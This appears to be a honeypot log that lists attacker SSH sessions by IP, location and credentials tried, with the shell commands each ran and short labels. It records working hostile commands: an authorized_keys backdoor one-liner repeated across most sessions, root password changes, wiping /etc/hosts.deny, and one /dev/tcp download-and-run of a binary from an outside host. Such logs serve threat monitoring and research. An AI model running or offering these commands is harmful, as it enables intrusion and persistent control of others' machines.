$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:4xl1IRpKaxK6"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 ghost_pi (104.208.108.166) — Hong Kong, Hong Kong · 1 session · 20 cmds

2026-07-03 10:12 EDT · as dominios/dominios123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "dominios123\nUxXltmvzFR7s\nUxXltmvzFR7s"|passwd|bash

$ Enter new UNIX password:

$ echo "dominios123\nUxXltmvzFR7s\nUxXltmvzFR7s\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 specter_root_36 (103.19.56.102) — Sragen, Indonesia · 3 sessions · 3 cmds

2026-07-03 04:11 EDT · as root/blackcat

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -a ×3 // OS/kernel identification

🎭 lantern_root_9 (118.196.162.1) — Haidian, China · 1 session · 19 cmds

2026-07-03 07:27 EDT · as root/10jqka

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:X1crgctZpFyn"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rogue_root_26 (118.70.182.193) — Hanoi, Vietnam · 2 sessions · 2 cmds

2026-07-03 05:47 EDT · as root/blackcat

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -a ×2 // OS/kernel identification

🎭 tulip_sol_2 (91.92.40.171) — Amsterdam, The Netherlands · 4 sessions · 4 cmds

2026-07-03 05:52 EDT · as admin/admin, dspace/dspace, sam/sam

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×4

🎭 yankee_sol_2 (76.79.213.69) — Los Angeles, United States · 1 session · 20 cmds

2026-07-03 06:31 EDT · as jss/123456

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\nDNSEfkGgponh\nDNSEfkGgponh"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nDNSEfkGgponh\nDNSEfkGgponh\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 dragon_root_14 (115.190.6.168) — Beijing, China · 1 session · 2 cmds

2026-07-03 06:13 EDT · as root/1234567

make executable → execute from /tmp

$ nohup bash -c "exec 6<>/dev/tcp/47.238.182.121/60120 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/FVJGyLDWMz && chmod +x /tmp/FVJGyLDWMz && /tmp/FVJGyLDWMz zCAuJcvPOTku1soiMC3OyCYxJtjMIC4vy9YlOTnKyS86IcjJIzA3zM85MiTA1iUzJdbKJjItzsgmMCfYzCAuJcvPOTEkwNYlMiDCzicxJ8rYIzM5ycgnLiLWySE5Lc7IJjMj2MwgLiXLwDkxL8rWJjImws4nMSXI2CYyINbIOTA5ycIvMKrkqPNSBQ==" & // make executable

$ dd bs=1 count=1911588 > /tmp/c7SkDSb0ul // execute from /tmp

🎭 clog_sol_2 (45.153.34.149) — Amsterdam, The Netherlands · 3 sessions · 3 cmds

2026-07-02 23:38 EDT · as dspace/dspace, root/root, wso2/wso2

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×3

🎭 stroopwafel_sol_2 (45.153.34.144) — Amsterdam, The Netherlands · 2 sessions · 2 cmds

2026-07-02 23:10 EDT · as dspace/dspace, root/root

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×2

🎭 stein_pi (5.75.224.171) — Falkenstein, Germany · 1 session · 20 cmds

2026-07-02 22:51 EDT · as voodoo/voodoo

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "voodoo\n0BH7VSOx9y4K\n0BH7VSOx9y4K"|passwd|bash

$ Enter new UNIX password:

$ echo "voodoo\n0BH7VSOx9y4K\n0BH7VSOx9y4K\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 eagle_root_9 (98.160.166.116) — Las Vegas, United States · 1 session · 19 cmds

2026-07-02 22:42 EDT · as root/2wsx@WSX

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:u0e5ZNhReWqY"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 crumpet_root_3 (209.97.180.91) — Slough, United Kingdom · 1 session · 1 cmd

2026-07-02 21:37 EDT · as user/admin

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m // obfuscated system check

🎭 rogue_root_40 (105.96.13.6) — Algiers, Algeria · 1 session · 19 cmds

2026-07-02 20:49 EDT · as root/Hz@123456789

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:jLl3ocCb0wZ2"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wraith_root_36 (186.96.151.198) — Mexico City, Mexico · 1 session · 19 cmds

2026-07-02 20:36 EDT · as root/A123456A

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:Swc4JfjukVQB"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 phantom_root_42 (154.241.61.2) — Kouba, Algeria · 1 session · 19 cmds

2026-07-02 20:30 EDT · as root/A123456A

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:QVkmD7cdf06m"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 dragon_root_15 (106.13.122.214) — Beijing, China · 1 session · 20 cmds

2026-07-02 19:50 EDT · as nextcloud/123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123\nKSKXVyzricrC\nKSKXVyzricrC"|passwd|bash

$ Enter new UNIX password:

$ echo "123\nKSKXVyzricrC\nKSKXVyzricrC\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cipher_root_2 (41.82.50.218) — Dakar, Senegal · 2 sessions · 39 cmds

2026-06-30 06:31 EDT · as admin/won, root/1QAZ2wsx3edc

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:OwK9EgHo9OqQ"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "won\nTba4UezNz7dT\nTba4UezNz7dT"|passwd|bash

$ Enter new UNIX password:

$ echo "won\nTba4UezNz7dT\nTba4UezNz7dT\n"|passwd

🎭 liberty_root_16 (50.62.22.47) — Tempe, United States · 1 session · 19 cmds

2026-07-02 19:08 EDT · as root/p@ssw0rd

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:PXi6LJKvNrhM"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 eagle_root_10 (129.121.97.147) — Ashburn, United States · 1 session · 19 cmds

2026-07-02 18:52 EDT · as root/1QAZ2wsx3edc

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:yoPlPmN1r05x"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cosmo (37.110.113.113) — Moscow, Russia · 1 session · 20 cmds

2026-07-02 18:04 EDT · as eureka/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\nSEXSD9QCR3Xi\nSEXSD9QCR3Xi"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nSEXSD9QCR3Xi\nSEXSD9QCR3Xi\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

